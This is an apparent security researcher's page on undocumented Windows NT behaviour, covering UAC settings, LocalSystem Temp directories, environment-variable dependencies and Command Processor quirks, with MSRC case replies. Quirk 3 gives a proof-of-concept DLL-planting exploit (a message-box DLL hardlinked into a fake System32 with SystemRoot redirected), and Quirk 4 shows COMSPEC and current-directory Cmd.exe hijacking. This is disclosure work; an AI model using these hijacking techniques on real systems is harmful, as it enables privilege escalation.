Valid HTML 4.01 Transitional Valid CSS Valid SVG 1.0

Me, myself & IT

Odd, Surprising, Un(der)documented or Weird (Mis)behaviour of Microsoft® Windows® NT

Purpose
Quirk № 1
Demonstration
Background Information
Quirk № 2
Background Information
Demonstration
Remediation
Quirk № 3
Demonstration
Exploit
Quirk № 4
Demonstration
Security Impact
MSRC Case 59749
Quirk № 5
Demonstration
Quirk № 6
Demonstration
Security Impact
MSRC Case 71680
Quirk № 7
Demonstration
Quirk № 8
Demonstration
Quirk № 9
Demonstration
Quirk № 10
Demonstration
Quirk № 11
Demonstration
Quirk № 12
Demonstration
Quirk № 13
Demonstration
Security Impact
Exploit
Mitigation
MSRC Case 64465
Quirk № 14
Demonstration
Quirk № 15
Demonstration
Quirk № 16
Demonstration
Security Impact
MSRC Case 65060
Quirk № 17
Demonstration
Quirk № 18
Demonstration (Variant 1)
Demonstration (Variant 2)
Quirk № 19
Demonstration
Quirk № 20
Demonstration (Variant 1)
Demonstration (Variant 2)
Demonstration (Variant 3)
Security Impact
Mitigation
Alternate Mitigation
Quirk № 21
Demonstration
Quirk № 22
Demonstration
Quirk № 23
Demonstration
Quirk № 24
Demonstration
Quirk № 25
Demonstration
Quirk № 26
Demonstration
Quirk № 27
Demonstration
Trivia

Purpose

Show interfaces, functions and components of Microsoft Windows NT which exhibit odd, surprising, undocumented or weird (mis)behaviour.

Quirk № 1

User Account Protection was the preliminary name for a core security component of Windows Vista. The component has now been officially named User Account Control (UAC).
[Screen shot of default 'User Account Control Settings' from Windows 7] Windows Vista® introduced the security feature (really: security theatre) User Account Control: programs which need or want to be run with administrative privileges and access rights have to ask the user for consent.

This made some (really: a minority of) users quite angry: although these (rather braindead) users continued to abuse the (privileged) protected administrator account created during Windows Setup for their daily work (instead to follow best practise and use an unprivileged limited alias standard user account), they had to answer a prompt whenever they wanted to perform an administrative task.
Unfortunately Microsoft heard these users and weakened the security feature: Windows 7 introduced auto-elevation and enabled it for some 55 programs shipped with Windows 7 and later versions, which don’t prompt for consent any more.

Due to flaws in the design and deficiencies in the implementation of User Account Control, it can be bypassed trivially in numerous ways with its auto-elevation (mis)feature enabled. As result, arbitrary programs can then be run with administrative privileges and access rights without prompting the user for consent.
To defeat some of these trivial bypasses, auto-elevation must be disabled by moving the slider of the User Account Control setting to its highest position titled Always notify, as documented and shown in the MSKB articles 975787 and 4462938.

The slider position shown by the graphical user interface but does not always match the effective setting: it shows Always notify even if the default setting Notify me only when programs try to make changes to my computer is configured!

Demonstration

[Screen shot of 'Group Policy Object Editor' from Windows 7] On default installations of Windows 7 or newer versions of Windows NT perform the following 9 simple steps.
  1. Log on to the user protected administrator account created during Windows Setup.

  2. Start one of the programs which have auto-elevation enabled, for example NetPlWiz.exe, PrintUI.exe or WUSA.exe: they start without to prompt for consent.

  3. Open Control Panel, then User Accounts and click Change User Account Control setting: move the slider to its highest position titled Always notify and click the OK button to apply the changed setting.

  4. Run the command line "%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\GPEdit.msc" to start the Local Group Policy Editor snap-in of the Microsoft Management Console, or run the command line "%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\SecPol.msc" to start the Local Security Policy snap-in, answer the prompt for consent, then open the Local Policies folder and the Security Options subfolder below it: the policy User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode is shown as Prompt for consent on the secure desktop, properly matching the setting changed in step 3.

  5. Repeat step 2.: the auto-elevating programs prompt for consent now.

  6. Start RegEdit.exe, answer the prompt for consent, then open the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System and delete the DWORD registry entry ConsentPromptBehaviorAdmin present there.

  7. Repeat step 4.: the policy User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode is now properly shown as Not Defined.

  8. Open Control Panel, then User Accounts and click Change User Account Control setting: the slider is still shown in its highest position Always notify.

  9. Repeat step 2.: despite the unchanged slider position Always notify the auto-elevating programs don’t prompt for consent any more!

OUCH: the slider is supposed to access and manage a setting, but abuses a registry entry reserved for a policy instead, it misinterprets the default policy value Not Defined and violates the now 25 year old Designed for Windows guidelines!

Background Information

Windows NT supports the following evaluation order or hierarchy and rules for program defaults, settings and policies:
  1. Hard-coded program defaults are in effect only when neither a setting nor a policy is present;
  2. User-specific settings are stored in the user’s registry, either as
    [HKEY_CURRENT_USER\Software\‹company name›\‹program name›]
    "‹setting›"=…
    or as
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\‹program name›]
    "‹setting›"=…
  3. User-specific policies are stored in the user’s registry, either as
    [HKEY_CURRENT_USER\Software\Policies\‹company name›\‹program name›]
    "‹policy›"=…
    or as
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\‹program name›]
    "‹policy›"=…
  4. System-wide settings are stored in the machine’s registry, either as
    [HKEY_LOCAL_MACHINE\SOFTWARE\‹company name›\‹program name›]
    "‹setting›"=…
    or as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\‹program name›]
    "‹setting›"=…
  5. System-wide policies are stored in the machine’s registry, either as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\‹company name›\‹program name›]
    "‹policy›"=…
    or as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\‹program name›]
    "‹policy›"=…
  6. User-specific settings and policies take precedence over system-wide settings and policies;
  7. Policies override settings;
  8. When a policy is present for a setting, the (graphical) user interface shows the resulting effective setting, but restricts any change to it, and optionally shows a text that indicates the presence of a (overriding) policy as reason for this restriction;
  9. Policies are reserved for use by the (local) administrator, they MUST NOT be set by any other party, and can not be set by (unprivileged) users due to the access control lists of the policies’ registry keys!

Quirk № 2

The MSDN articles Environment Variables and User Environment Variables specify how environment variables are processed:
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).

By default, a child process inherits the environment variables of its parent process. […]

[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, […]

Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.

By default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]

Both articles but fail to tell that two kinds of user environment variables exist, permanent and volatile, that volatile environment variables obscure permanent environment variables with the same name, how to add or modify them, and where they are stored: permanent user environment variables are stored in the registry key HKEY_CURRENT_USER\Environment alias HKEY_USERS\‹security identifier›\Environment, while volatile user environment variables are stored in the (volatile) registry key HKEY_CURRENT_USER\Volatile Environment alias HKEY_USERS\‹security identifier›\Volatile Environment, where they are created during user logon and discarded when the user logs off.

The articles also fail to tell that not all system environment variables are stored in the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment: the system environment variables ALLUSERSPROFILE, COMPUTERNAME, PUBLIC, CommonProgramFiles, CommonProgramFiles(x86), CommonProgramW6432, ProgramData, ProgramFiles, ProgramFiles(x86), ProgramW6432, SystemDrive and SystemRoot are created programmatically.

And they fail to tell that user environment variables obscure system environment variables of the same name – with but two notable exceptions:

Thanks to the braindead (mis)behaviour listed last, privileged processes running under the user account NT AUTHORITY\SYSTEM alias LocalSystem use the unsafe user-writable directory %SystemRoot%\Temp\ instead of their private and safe directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\, allowing unprivileged users to tamper with (executable) files created there by these privileged processes, eventually resulting in local escalation of privilege.

Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.

Background Information

Windows 2000 relocated all user profiles from their previous directories %SystemRoot%\Profiles\%USERNAME%\ into new directories %SystemDrive%\Documents and Settings\%USERNAME%\.
It also introduced the user profile for the (privileged) user account NT AUTHORITY\SYSTEM alias LocalSystem in the new directory %SystemRoot%\System32\Config\SystemProfile\.

Note: its location was a rather braindead choice, as it is subject to file system redirection on 64-bit editions of Windows NT, where two separate directories %SystemRoot%\System32\Config\SystemProfile\ and %SystemRoot%\SysWoW64\Config\SystemProfile\ exist!

The world-writable Temp directory %SystemRoot%\Temp\, shared by all users in previous versions of Windows NT, was replaced with separate private Temp directories %USERPROFILE%\Local Settings\Temp\ alias %SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\ located within the user profiles – except for the LocalSystem user account, which continued (and still continues) to use the (still world-writable) directory %SystemRoot%\Temp\!

Windows XP added the (unprivileged) user accounts NT AUTHORITY\LOCAL SERVICE alias LocalService and NT AUTHORITY\NETWORK SERVICE alias NetworkService, placed their user profiles in the directories %SystemDrive%\Documents and Settings\LocalService\ and %SystemDrive%\Documents and Settings\NetworkService\, set their user environment variables TEMP and TMP to %USERPROFILE%\Local Settings\Temp, and created a private Temp directory within both user profiles.

Windows Vista relocated these two service profiles to the new directories %SystemRoot%\ServiceProfiles\LocalService\ and %SystemRoot%\ServiceProfiles\NetworkService\, relocated all normal user profiles %SystemDrive%\Documents and Settings\%USERNAME%\ to the directories %SystemDrive%\Users\%USERNAME%\, and kept the profile %SystemRoot%\System32\Config\SystemProfile\.
All user accounts except LocalSystem kept their private Temp directory, now %USERPROFILE%\AppData\Local\Temp\ alias %SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\ for the normal user accounts and %SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\ respectively %SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\ for the service user accounts.

At least since Windows 7 the user environment variables TEMP and TMP are set in the LocalSystem user account too, despite the directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\ is missing in its user profile!

The MSDN article Profiles Directory provides additional information.

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk2.vbs with the following content in an arbitrary directory:

    Rem Copyright © 1999-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    With WScript.CreateObject("WScript.Shell")
        WScript.Echo "Environment Variables"
    
        For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
            WScript.Echo
            WScript.Echo "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
    
            For Each strItem In .Environment(strScope)
                WScript.Echo vbTab & strItem
            Next
        Next
    End With
  2. Execute the VBScript quirk2.vbs created in step 1. under the LocalSystem user account to list the environment variables of all scopes:

    CSCRIPT.EXE quirk2.vbs
    Microsoft (R) Windows Script Host, Version 5.812
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    Environment Variables
    
    Scope 'PROCESS': 36 items
    	=C:=C:\Windows\System32
    	=ExitCode=00000000
    	ALLUSERSPROFILE=C:\ProgramData
    	APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    	CommonProgramFiles=C:\Program Files\Common Files
    	CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    	CommonProgramW6432=C:\Program Files\Common Files
    	COMPUTERNAME=AMNESIAC
    	ComSpec=C:\Windows\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	HOMEDRIVE=C:
    	HOMEPATH=\Windows\system32
    	LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    	NUMBER_OF_PROCESSORS=2
    	OS=Windows_NT
    	Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PROCESSOR_ARCHITECTURE=AMD64
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=170a
    	ProgramData=C:\ProgramData
    	ProgramFiles=C:\Program Files
    	ProgramFiles(x86)=C:\Program Files (x86)
    	ProgramW6432=C:\Program Files
    	PROMPT=$P$G
    	PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    	PUBLIC=C:\Users\Public
    	SystemDrive=C:
    	SystemRoot=C:\Windows
    	TEMP=C:\Windows\TEMP
    	TMP=C:\Windows\TEMP
    	USERDOMAIN=KANTHAK
    	USERNAME=System
    	USERPROFILE=C:\Windows\system32\config\systemprofile
    	windir=C:\Windows
    
    Scope 'SYSTEM': 15 items
    	ComSpec=%SystemRoot%\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	OS=Windows_NT
    	Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PSModulePath=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\
    	TEMP=%SystemRoot%\TEMP
    	TMP=%SystemRoot%\TEMP
    	USERNAME=SYSTEM
    	windir=%SystemRoot%
    	NUMBER_OF_PROCESSORS=2
    	PROCESSOR_ARCHITECTURE=AMD64
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=170a
    
    Scope 'USER': 3 items
    	PATH=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
    	TEMP=%USERPROFILE%\AppData\Local\Temp
    	TMP=%USERPROFILE%\AppData\Local\Temp
    
    Scope 'VOLATILE': 0 items
    Oops: although the user environment variables TEMP and TMP exist, the process environment variables TEMP and TMP were set from the system environment variables!
  3. Start the Command Processor under the LocalSystem user account, then list all environment variables and (the contents of) the directory %LOCALAPPDATA%\ alias %USERPROFILE%\AppData\Local\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\ to determine whether a subdirectory Temp\ exists there:

    SET
    DIR /A "%LOCALAPPDATA%"
    ALLUSERSPROFILE=C:\ProgramData
    APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    CommonProgramFiles=C:\Program Files\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=AMNESIAC
    ComSpec=C:\Windows\system32\cmd.exe
    DriverData=C:\Windows\System32\Drivers\DriverData
    HOMEDRIVE=C:
    HOMEPATH=\Windows\system32
    LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    NUMBER_OF_PROCESSORS=2
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=170a
    ProgramData=C:\ProgramData
    ProgramFiles=C:\Program Files
    ProgramFiles(x86)=C:\Program Files (x86)
    ProgramW6432=C:\Program Files
    PROMPT=$P$G
    PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    PUBLIC=C:\Users\Public
    SystemDrive=C:
    SystemRoot=C:\Windows
    TEMP=C:\Windows\TEMP
    TMP=C:\Windows\TEMP
    USERDOMAIN=KANTHAK
    USERNAME=System
    USERPROFILE=C:\Windows\system32\config\systemprofile
    windir=C:\Windows
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\system32\config\systemprofile\AppData\Local
    
    04/27/2021   8:15 PM    <DIR>          .
    04/27/2021   8:15 PM    <DIR>          ..
    04/27/2021   8:15 PM    <DIR>          Microsoft
                   0 File(s)              0 bytes
                   3 Dir(s)   9,876,543,210 bytes free
    Oops: a subdirectory Temp\ does not exist!
  4. Query the registry keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment, HKEY_USERS\S-1-5-18\Environment and HKEY_USERS\S-1-5-18\Volatile Environment to list the environment variables stored in the registry:

    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"
    Note: the MSKB article 243300 gives the well-known SID S-1-5-18 for the NT AUTHORITY\SYSTEM alias LocalSystem user account.
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
        ComSpec    REG_EXPAND_SZ    %SystemRoot%\system32\cmd.exe
        DriverData    REG_SZ    C:\Windows\System32\Drivers\DriverData
        NUMBER_OF_PROCESSORS    REG_SZ    2
        OS    REG_SZ    Windows_NT
        Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
        PATHEXT    REG_SZ    .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
        PROCESSOR_ARCHITECTURE    REG_SZ    AMD64
        PROCESSOR_IDENTIFIER    REG_SZ    Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
        PROCESSOR_LEVEL    REG_SZ    6
        PROCESSOR_REVISION    REG_SZ    170a
        PSModulePath    REG_EXPAND_SZ    %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules
        TEMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        TMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        USERNAME    REG_SZ    SYSTEM
        windir    REG_EXPAND_SZ    %SystemRoot%
    
    HKEY_USERS\S-1-5-18\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    ERROR: The specified registry key or value was not found.
  5. For comparison query the registry keys HKEY_CURRENT_USER\Environment and HKEY_CURRENT_USER\Volatile Environment of a standard user account:

    REG.EXE QUERY "HKEY_CURRENT_USER\Environment"
    REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
    HKEY_CURRENT_USER\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    HKEY_CURRENT_USER\Volatile Environment
        LOGONSERVER    REG_SZ    \\AMNESIAC
        USERDOMAIN    REG_SZ    AMNESIAC
        USERNAME    REG_SZ    Stefan
        USERPROFILE    REG_SZ    C:\Users\Stefan
        HOMEPATH    REG_SZ    \Users\Stefan
        HOMEDRIVE    REG_SZ    C:
        APPDATA    REG_SZ    C:\Users\Stefan\AppData\Roaming
        LOCALAPPDATA    REG_SZ    C:\Users\Stefan\AppData\Local
        USERDOMAIN_ROAMINGPROFILE    REG_SZ    AMNESIAC
    
    HKEY_CURRENT_USER\Volatile Environment\1
        SESSIONNAME    REG_SZ    Console
        CLIENTNAME    REG_SZ    

Remediation

Create the missing directory %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\, then start the program SystemPropertiesAdvanced.exe, click the button Environment Variables, replace the value %SystemRoot%\TEMP of the system environment variables TEMP and TMP with %USERPROFILE%\AppData\Local\Temp, save the changed settings and reboot the system.

Caveat: on 64-bit systems, the disjoint directories will cause surprising (mis)behaviour!

Quirk № 3

Multiple undocumented dependencies on environment variables, which result in well-known weaknesses like CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element documented in the CWE, and allow well-known attacks like CAPEC-13: Subverting Environment Variable Values and CAPEC-471: Search Order Hijacking documented in the CAPEC.

Note: a proper implementation calls functions like GetSystemDirectory(), GetSystemWindowsDirectory(), GetSystemWow64Directory(), GetWindowsDirectory(), SHGetFolderPath() and SHGetKnownFolderPath() to determine (system) paths instead to evaluate (user-controlled) environment variables!

Demonstration

Start the Command Processor, then run the following command lines to remove all environment variables and (attempt to) execute the applications Explorer.exe, NotePad.exe, RegEdit.exe and Write.exe as well as IExplore.exe and WordPad.exe afterwards:
REM Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%SystemRoot%"
FOR /F "Delims==" %? IN ('SET') DO @SET %?=
DIR Explorer.exe NotePad.exe RegEdit.exe Write.exe Win.ini /B
Explorer.exe /E,/Separate,.
NotePad.exe /P Win.ini
RegEdit.exe /M
Write.exe
START IExplore.exe
START WordPad.exe
EXIT
Note: the command lines can be copied and pasted as block into a Command Processor window! [Screen shot of error message from 'START WordPad.exe' on Windows 7]
explorer.exe
notepad.exe
regedit.exe
write.exe
win.ini
Oops: while NotePad.exe and RegEdit.exe start properly, Explorer.exe, Write.exe plus START IExplore.exe fail silently, and START WordPad.exe fails with an error message box!

Exploit

Perform the following 3 simple steps to exploit the misbehaviour vulnerability.
  1. Create the text file quirk3.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule,
    		                   DWORD   dwReason,
    		                   LPVOID  lpReserved)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	WCHAR	szProcess[MAX_PATH];
    	DWORD	dwProcess;
    	WCHAR	szMessage[1025];
    
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	dwModule = GetModuleFileName(hModule,
    	                             szModule,
    	                             sizeof(szModule) / sizeof(*szModule));
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	dwProcess = GetModuleFileName((HMODULE) NULL,
    	                              szProcess,
    	                              sizeof(szProcess) / sizeof(*szProcess));
    
    	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
    		szProcess[dwProcess] = L'\0';
    
    	if (wsprintf(szMessage,
    	             L"\'%ls\' loaded at 0x%p in process \'%ls\'\n",
    	             szModule, hModule, szProcess) == 0)
    		return FALSE;
    
    	return IDOK == MessageBoxEx(HWND_DESKTOP,
    	                            szMessage,
    	                            __LPREFIX(__FUNCTION__) L"() entry point",
    	                            MB_OKCANCEL,
    	                            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
    }
  2. Build the DLL quirk3.dll from the source file quirk3.c created in step 1.:

    SET CL=/GAFy /LD /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB
    CL.EXE quirk3.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk3.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk3.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB
    /out:quirk3.dll
    /dll
    /implib:quirk3.lib
    quirk3.obj
  3. Create a subdirectory System32\ in the current directory, create hardlinks NDFAPI.dll and PropSys.dll of the DLL quirk3.dll built in step 2. in this subdirectory, set the environment variable SystemRoot to the current directory, then run the two START commands used before again: [Screen shot of message box from bogus 'PropSys.dll' on Windows 7]

    MKDIR System32
    MKLINK /H System32\NDFAPI.dll quirk3.dll
    MKLINK /H System32\PropSys.dll quirk3.dll
    SET SystemRoot=%CD%
    START IExplore.exe
    START WordPad.exe
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    [Screen shot of message box from bogus 'NDFAPI.dll' on Windows 7]
    Hardlink created for System32\NPFAPI.dll <<===>> quirk3.dll
    Hardlink created for System32\PropSys.dll <<===>> quirk3.dll
    OUCH: the builtin Start command of the Command Processor loads and executes (at least) arbitrary bogus DLLs named NDFAPI.dll and PropSys.dll from an arbitrary bogus system directory!
Note: finding more vulnerabilities (really: beginner’s errors) which let applications shipped with Windows load and execute other DLLs or applications from arbitrary (local or remote) paths via (user-controlled) environment variables is left as an exercise to the reader.

Quirk № 4

The documentation for the builtin For command of the Command Processor states:
The documentation for the builtin Start command of the Command Processor states:

Demonstration

Start the Command Processor, then run the following command lines to prove the documentation cited above wrong, and also show some undocumented (mis)behaviour:
REM Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
PUSHD "%SystemRoot%"
FOR /F "Delims==" %? IN ('SET') DO @SET %?=
START /B CMD /C SET
SET COMSPEC=%CD%\System32\Reg.exe
POPD
COPY NUL: Cmd.exe
FOR /F "Delims=" %? IN ('PAUSE') DO ECHO %?
FOR /F "Delims= UseBackQ" %? IN (`PAUSE`) DO ECHO %?
START CMD /C PAUSE
START /B ECHO
ASSOC | BREAK
FTYPE | SHIFT
SET | Cmd.exe
ERASE Cmd.exe
Note: the command lines can be copied and pasted as block into a Command Processor window!
COMSPEC=C:\Windows\System32\cmd.exe
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
PROMPT=$P$G

        1 file(s) copied.

Press any key . . .

Access Denied

Access Denied

ERROR: Invalid Argument/Option - '/c'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '/K'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
Access Denied
OUCH¹: contrary to the documentation cited above, FOR /F … IN ('…') DO … as well as FOR /F "UseBackQ" … IN (`…`) DO … execute the application determined by the value of an eventually set environment variable COMSPEC (else the current process’s image file) instead of Cmd.exe as child process.

OUCH²: contrary to its documentation cited above, START CMD … does not evaluate the environment variable COMSPEC, but executes an arbitrary application Cmd.exe that eventually exists in the CWD, else the current process’ image!

OUCH³: when run in a pipeline, builtin commands are executed in a child process determined by the value of the environment variable COMSPEC.

Note: the Command Processor sets the environment variables COMSPEC, PATHEXT and PROMPT if these are not provided by its caller.

Security Impact

The (unintended) execution of a (bogus) application determined by a (user-controlled) environment variable like COMSPEC is a well-known weakness, documented as CWE-73: External Control of File Name or Path in the CWE, allowing well-known attacks like CAPEC-13: Subverting Environment Variable Values documented in the CAPEC.

The (unintended) execution of (a bogus) Cmd.exe from the CWD constitutes a security vulnerability, similar to CVE-2014-0315 alias MS14-019 I discovered about 6 years ago, which was fixed with security update 2922229 back then.

Note: the post MS14-019 – Fixing a binary hijacking via .cmd or .bat file on Microsoft’s Security Research and Defense Blog provides additional information.

The well-known underlying weakness is documented as CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, the well-known attack is documented as CAPEC-471: Search Order Hijacking.

MSRC Case 59749

Due to its security impact I reported this bug to the MSRC, where case number 59749 was assigned.

They replied with the following statements:

The engineering team has looked over the issue and has stated that this appears to be a documentation error and has been handed over to the team owning that site. In this case this does not appear to be a vulnerability and we will be closing it out on our side. The method of using this information in an attack would require a remote attacker to find malicious program that uses the START cmd and trick the user to trigger this program as a minimum.
OUCH: it appears to me that the engineering team is wrong; I recommend to have them read (and understand) especially the (end of the) chapter titled Current Working Directory (CWD) DLL planting of the blog post Triaging a DLL planting vulnerability and recognise the striking similarity:
A DLL planting issue that falls into this category of CWD DLL planting is treated as an Important severity issue and we will issue a security patch for this.

Quirk № 5

The documentation for the builtin Call command of the Command Processor states:
Calls one batch program from another without stopping the parent batch program. The call command accepts labels as the target of the call.

Note

Call has no effect at the command prompt when it is used outside of a script or batch file.

Demonstration

Start the Command Processor, then run the following command lines to prove the documentation cited above wrong, and again show undocumented (mis)behaviour:
REM Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CALL Reg(Quirk5
CALL Reg,Quirk5
CALL Reg;Quirk5
CALL Reg=Quirk5
FOR %? IN (First,Second;Third=Fourth) DO @ECHO %?
Note: the command lines can be copied and pasted as block into a Command Processor window!
ERROR: Invalid Argument/Option - '(Quirk5'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - ',Quirk5'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - ';Quirk5'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '=Quirk5'.
Type "REG /?" for usage.

First
Second
Third
Fourth
